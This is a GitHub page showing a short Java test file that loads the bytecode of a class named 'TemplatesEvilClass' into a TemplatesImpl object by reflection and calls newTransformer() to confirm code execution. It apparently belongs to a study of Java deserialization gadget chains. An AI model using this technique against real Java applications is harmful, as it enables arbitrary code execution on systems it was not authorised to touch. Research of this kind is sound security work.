-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathTest3.java
More file actions
23 lines (18 loc) · 1.01 KB
/
Copy pathTest3.java
File metadata and controls
23 lines (18 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package Test_CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import expUtils.ReflectUtils;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import static expUtils.ReflectUtils.getClassByte;
public class Test3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
ReflectUtils.setFields(templates,"_name","9eek");
byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 将文件字节码转为byte[]
byte[][] templatesEvilCode = new byte[][]{evilCode};
ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);
ReflectUtils.setFields(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer(); // 验证代码执行
}
}